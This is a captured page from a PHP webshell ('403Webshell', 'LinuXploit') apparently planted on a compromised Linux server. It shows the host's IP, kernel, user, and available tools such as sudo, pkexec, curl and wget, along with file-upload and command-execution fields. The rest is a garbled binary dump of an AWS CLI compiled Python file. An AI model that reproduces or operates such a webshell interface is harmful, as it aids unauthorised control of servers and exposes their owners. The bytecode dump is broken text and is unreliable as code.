403Webshell
Server IP : 167.99.254.82  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux host.techisquad.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : pawluxera ( 1011)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/awscli/customizations/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/awscli/customizations/__pycache__/sessionmanager.cpython-310.pyc
o

.&�a��@s�ddlZddlZddlZddlmZddlmZddlmZm	Z	e�
e�ZdZ
dd�Zdd	�ZGd
d�de�ZGdd
�d
e	�ZdS)�N)�
check_call)�ignore_user_entered_signals)�ServiceOperation�CLIOperationCaller)z#SessionManagerPlugin is not found. z3Please refer to SessionManager Documentation here: z3http://docs.aws.amazon.com/console/systems-manager/z session-manager-plugin-not-foundcCs|�dt�dS)Nzbuilding-command-table.ssm)�register�add_custom_start_session)�event_handlers�r	�F/usr/lib/python3/dist-packages/awscli/customizations/sessionmanager.py�register_ssm_sessions�rcKs*tdd||�d��d�t|�d�|d<dS)Nz
start-session�ssm�StartSession)�name�parent_name�session�operation_model�operation_caller)�StartSessionCommand�get_service_modelr�StartSessionCaller)r�
command_table�kwargsr	r	r
r$s��rcseZdZ�fdd�Z�ZS)rcstt|���}d|j_|S)N)�superr�create_help_command�_operation_model�output_shape)�self�help_command��	__class__r	r
r1s��z'StartSessionCommand.create_help_command)�__name__�
__module__�__qualname__r�
__classcell__r	r	rr
r/src@seZdZdd�ZdS)rc
Cs|jj||j|j|jd�}|jdi|��}|d}|jj}|jjdur'|jjnd}	|jj}
z)t	��t
dt�|�|d|	t�|�|
g�Wd�WdS1sOwYWdSt
y�}z!|jtjkrxtjddd	�|j|d
�td�t���WYd}~dSd}~ww)N)�region_name�endpoint_url�verify�	SessionId�zsession-manager-pluginr
rz#SessionManagerPlugin is not presentT)�exc_info)r'r	)�_session�
create_client�regionr%�
verify_ssl�
start_session�metar$�profilerr�json�dumps�OSError�errno�ENOENT�logger�debug�terminate_session�
ValueError�join�
ERROR_MESSAGE)r�service_name�operation_name�
parameters�parsed_globals�client�response�
session_idr$�profile_namer%�exr	r	r
�invoke:sJ����
�	�	����zStartSessionCaller.invokeN)r r!r"rEr	r	r	r
r9sr)�loggingr1r4�
subprocessr�
awscli.compatr�awscli.clidriverrr�	getLoggerr r6r;rrrrr	r	r	r
�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit